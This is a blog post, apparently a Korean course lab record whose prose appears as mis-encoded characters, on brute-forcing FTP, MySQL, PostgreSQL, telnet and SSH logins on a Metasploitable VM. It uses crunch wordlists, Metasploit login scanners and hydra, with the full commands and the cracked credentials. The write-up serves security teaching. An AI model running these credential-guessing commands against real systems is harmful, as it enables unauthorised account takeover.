[๋ชจ์˜ ํ•ดํ‚น] Metasploitable์„ ์ด์šฉํ•œ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ

728x90
๋ฐ˜์‘ํ˜•

! ์ด ํฌ์ŠคํŠธ์˜ ๋‚ด์šฉ์€ ์ „๊ณต ๊ฐ•์˜์—์„œ ๋‹ค๋ฃฌ ๋ฆฌ๋ˆ…์Šค ๋ณด์•ˆ ์‹ค์Šต์˜ ๊ธฐ๋ก์šฉ์ด๋ฉฐ, ์ด๋Š” ํ•™์Šต ๋ชฉ์ ์œผ๋กœ๋งŒ ์‚ฌ์šฉ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

! ์–ด๋– ํ•œ ๊ฒฝ์šฐ์—๋„ ์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ์„ ์•…์šฉํ•˜๊ฑฐ๋‚˜ ๋ถˆ๋ฒ•์ ์ธ ํ™œ๋™์— ์‚ฌ์šฉํ•ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค.

 

! ๋ชจ์˜ ํ•ดํ‚น๊ณผ ๊ด€๋ จ๋œ ์‹ค์Šต์€ ํ•ฉ๋ฒ•์ ์ธ ํ™˜๊ฒฝ์—์„œ๋งŒ ์ˆ˜ํ–‰๋˜์–ด์•ผ ํ•˜๋ฉฐ, ๋ฌด๋‹จ์œผ๋กœ ๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ ์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•˜๋Š” ๋“ฑ์˜ ํ–‰์œ„๋Š” ๋ฒ•์ ์ธ ๋ฌธ์ œ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•  ๋•Œ์—๋Š” ํ•ญ์ƒ ์œค๋ฆฌ์ ์ธ ์ฑ…์ž„์„ ๊ฐ–๊ณ  ํ–‰๋™ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 

 

๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ์ด๋ž€?

 

๊ฐ€๋Šฅํ•œ ๋ชจ๋“  ์กฐํ•ฉ์˜ ํ‚ค๋‚˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฒด๊ณ„์ ์œผ๋กœ ์‹œ๋„ํ•˜์—ฌ ์˜ฌ๋ฐ”๋ฅธ ๊ฐ’์„ ์ฐพ์•„๋‚ด๋Š” ๋ฐฉ์‹์ด๋‹ค. ์ด ๊ณต๊ฒฉ์€ ๋‹จ์ˆœํ•˜์ง€๋งŒ, ๊ฐ•๋ ฅํ•œ ์•”ํ˜ธํ™” ๋˜๋Š” ์ถฉ๋ถ„ํžˆ ๊ธด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ์‹œ๊ฐ„๊ณผ ์ž์› ๋ฉด์—์„œ ๋น„ํšจ์œจ์ ์ผ ์ˆ˜ ์žˆ๋‹ค.

 

 

์‹ค์Šต ํ™˜๊ฒฝ

์ด ์‹ค์Šต์—์„œ๋Š” ๋ชจ์˜ ์นจํˆฌ ์—ฐ์Šต์„ ์œ„ํ•ด Metasploitable์„ ์‚ฌ์šฉํ•œ๋‹ค.

Metasploitable์€ ๋ณด์•ˆ ์—ฐ๊ตฌ ๋ฐ ๊ต์œก ๋ชฉ์ ์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ์ทจ์•ฝํ•œ ๊ฐ€์ƒ ๋จธ์‹ ์ด๋‹ค.  Metasploitable์€ ์˜๋„์ ์œผ๋กœ ์—ฌ๋Ÿฌ ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ํฌํ•จํ•˜๊ณ  ์žˆ์–ด, ์‹ค์ œ ํ™˜๊ฒฝ์—์„œ ํ•ดํ‚น ์—ฐ์Šต์„ ํ•˜๊ณ  ๋ณด์•ˆ ํˆด์„ ํ…Œ์ŠคํŠธํ•˜๋Š” ๋ฐ ์œ ์šฉํ•˜๋‹ค.

 

 

Metasploitable ์‹คํ–‰ ๋ฐ ๋กœ๊ทธ์ธ
root ๊ณ„์ • password ์„ค์ •

 

 MySQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค root ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ

 

~$ mysql -u root -p

> use mysql;
> update user set password=password('1234') where user='root';
> flush privileges;

 

 

Crunch ๊ธฐ๋Šฅ์„ ์ด์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์šฉ ํŒจ์Šค์›Œ๋“œ ์ž‘์„ฑ

 

~# cat /usr/share/crunch/charset.lst

 

charset.lst๋Š” crunch๋ผ๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ ์ƒ์„ฑ ๋„๊ตฌ์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๋ฌธ์ž ์ง‘ํ•ฉ ๋ชฉ๋ก์„ ํฌํ•จํ•˜๊ณ  ์žˆ๋‹ค. ์ด ํŒŒ์ผ์€ ๋‹ค์–‘ํ•œ ๋ฌธ์ž ์ง‘ํ•ฉ์„ ์ •์˜ํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ์›ํ•˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ ํŒจํ„ด์— ๋งž์ถฐ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค.

 

~# crunch 1 6 -f /usr/share/crunch/charset.lst numeric -o /root/passwords_6.txt

 

crunch ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ˆซ์ž๋กœ ๊ตฌ์„ฑ๋œ 1~6 ๊ธธ์ด์˜ ๋ชจ๋“  ๊ฐ€๋Šฅํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ์กฐํ•ฉ์„ ์ƒ์„ฑํ•˜๊ณ , ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ํŒŒ์ผ๋กœ ์ €์žฅํ•œ๋‹ค. 

ํŒŒ์ผ์—๋Š” 0๋ถ€ํ„ฐ 999999๊นŒ์ง€์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์ €์žฅ๋œ๋‹ค.

 

 

~# cat >> /root/passwords_6.txt

 

cat ๋ช…๋ น์–ด๋กœ ํŒจ์Šค์›Œ๋“œ ํŒŒ์ผ์— postgres ํŒจ์Šค์›Œ๋“œ๋ฅผ ์ถ”๊ฐ€ํ•œ๋‹ค.

 

 

user.txt๋ผ๋Š” ์ด๋ฆ„์˜ ๊ณต๊ฒฉ ๋Œ€์ƒ ID๊ฐ€ ์ €์žฅ๋œ ํŒŒ์ผ์„ ์ƒ์„ฑํ•œ๋‹ค.

0๋ถ€ํ„ฐ 999999๊นŒ์ง€ ์ˆซ์ž๋ฅผ ๋ชจ๋‘ ๋Œ€์ž…ํ•˜๊ธฐ์—๋Š” ๋งŽ์€ ์‹œ๊ฐ„์ด ๊ฑธ๋ฆฌ๋ฏ€๋กœ ๋น ๋ฅธ ์‹ค์Šต์„ ์œ„ํ•ด ๊ฐ„๋‹จํ•œ ํŒจ์Šค์›Œ๋“œ ํŒŒ์ผ์„ ์ž‘์„ฑํ•œ๋‹ค.

 

 

 

Metasploitable 'FTP ์„œ๋ฒ„' ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ (Msfconsole ์ด์šฉ)

 

 

์œ„ ๋ช…๋ น์–ด๋Š” FTP ๋กœ๊ทธ์ธ ์‹œ๋„๋ฅผ ์ž๋™ํ™”ํ•˜๋Š” ๊ณผ์ •์ด๋‹ค. ์ด ์Šค์บ๋„ˆ๋Š” ์ฃผ์–ด์ง„ ์‚ฌ์šฉ์ž๋ช…๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฆฌ์ŠคํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ง€์ •๋œ FTP ์„œ๋ฒ„์— ๋Œ€ํ•ด ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•œ๋‹ค.

> use auxiliary/scanner/ftp/ftp_login

> set rhosts 192.168.255.148
> set user_file /root/users.txt
> set pass_file /root/password_short.txt
> set stop_on_success true
> set threads 256
> run

 

> use auxiliary/scanner/ftp/ftp_login : FTP ๋กœ๊ทธ์ธ ์‹œ๋„๋ฅผ ์œ„ํ•œ ์Šค์บ๋„ˆ ๋ชจ๋“ˆ์„ ์„ ํƒ

> set rhosts 192.168.255.148 : ๊ณต๊ฒฉ ๋Œ€์ƒ IP  ์ฃผ์†Œ๋ฅผ ์„ค์ •
> set user_file /root/users.txt : ์•ž์—์„œ ์ƒ์„ฑํ–ˆ๋˜ ๊ณต๊ฒฉ๋Œ€์ƒ ID ๋ฆฌ์ŠคํŠธ๊ฐ€ ํฌํ•จ๋œ ํŒŒ์ผ์˜ ๊ฒฝ๋กœ๋ฅผ ์„ค์ •
> set pass_file /root/password_short.txt : ์•ž์—์„œ ์ƒ์„ฑํ–ˆ๋˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ํŒŒ์ผ์˜ ๊ฒฝ๋กœ๋ฅผ ์„ค์ •
> set stop_on_success true : ๋กœ๊ทธ์ธ ๊ณต๊ฒฉ์— ์„ฑ๊ณตํ•˜๋ฉด ๊ณต๊ฒฉ์„ ์ค‘์ง€ํ•˜๋„๋ก ์„ค์ •
> set threads 256 : ์Šค๋ ˆ๋“œ ์ˆ˜ ์„ค์ •
> run : ์‹คํ–‰

 

๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…๊ณต๊ฒฉ ์ค‘ ID๋Š” postgres, ํŒจ์Šค์›Œ๋“œ๋Š” postgres๋กœ ๋กœ๊ทธ์ธ์ด ์„ฑ๊ณตํ•˜์—ฌ ์ข…๋ฃŒ๋œ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

 

 

 

Metasploitable 'MySQL ์„œ๋ฒ„' ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ (Msfconsole ์ด์šฉ)

 

 

FTP ์„œ๋ฒ„ ์™ธ์—๋„ ๋‹ค๋ฅธ ์„œ๋ฒ„๋“ค๋กœ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…์„ ํ†ตํ•ด ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•ด ๋ณด์•˜๋‹ค.

๋จผ์ € MySQL ์„œ๋ฒ„์ด๋‹ค. ๋ช…๋ น์–ด๋Š” ๋™์ผํ•˜๋ฉฐ ์Šค์บ๋„ˆ ๋ชจ๋“ˆ ์„ ํƒ ์‹œ mysql/mysql_login ๋ชจ๋“ˆ์„ ์„ ํƒํ•˜๊ณ , 3306์œผ๋กœ ํฌํŠธ๋ฅผ ์ง€์ •ํ–ˆ๋‹ค.

> use auxiliary/scanner/mysql/mysql_login

> set rhosts 192.168.255.148
> set rport 3306
> set user_file /root/users.txt
> set pass_file /root/password_short.txt
> set stop_on_success true
> set threads 256
> run

 

๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…๊ณต๊ฒฉ ์ค‘ ID๋Š” root, ํŒจ์Šค์›Œ๋“œ๋Š” 1234๋กœ ๋กœ๊ทธ์ธ์ด ์„ฑ๊ณตํ•˜์—ฌ ์ข…๋ฃŒ๋œ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

 

 

Metasploitable 'postgreSQL ์„œ๋ฒ„' ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ (Msfconsole ์ด์šฉ)

 

> use auxiliary/scanner/postgres/postgres_login

> set rhosts 192.168.255.148
> set rport 5432
> set user_file /root/users.txt
> set pass_file /root/password_short.txt
> set stop_on_success true
> set threads 256
> run

 

 

Metasploitable 'telnet ์„œ๋ฒ„' ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ (Msfconsole ์ด์šฉ)

 

 

> use auxiliary/scanner/telnet/telnet_login

> set rhosts 192.168.255.148
> set user_file /root/users.txt
> set pass_file /root/password_short.txt
> set stop_on_success true
> set threads 256
> run

 

 

Metasploitable 'SSH ์„œ๋ฒ„' ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ (Msfconsole ์ด์šฉ)

 

 

> use auxiliary/scanner/ssh/ssh_login

> set rhosts 192.168.255.148
> set user_file /root/users.txt
> set pass_file /root/password_short.txt
> set stop_on_success true
> set threads 256
> run

 

Metasploitable 'FTP ์„œ๋ฒ„' ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ (hydra ์ด์šฉ)

 

 

~# hydra -l postgrs -P /root/password_short.txt -f 192.168.255.148 ftp

 

 

Metasploitable 'SSH ์„œ๋ฒ„' ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ (hydra ์ด์šฉ)

 

~# hydra -l root -P /root/password_short.txt -f 192.168.255.148 ssh

 

 

Metasploitable 'telnet ์„œ๋ฒ„' ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ (hydra ์ด์šฉ)

 

~# hydra -l root -P /root/password_short.txt -f 192.168.255.148 telnet

 

๋ฐ˜์‘ํ˜•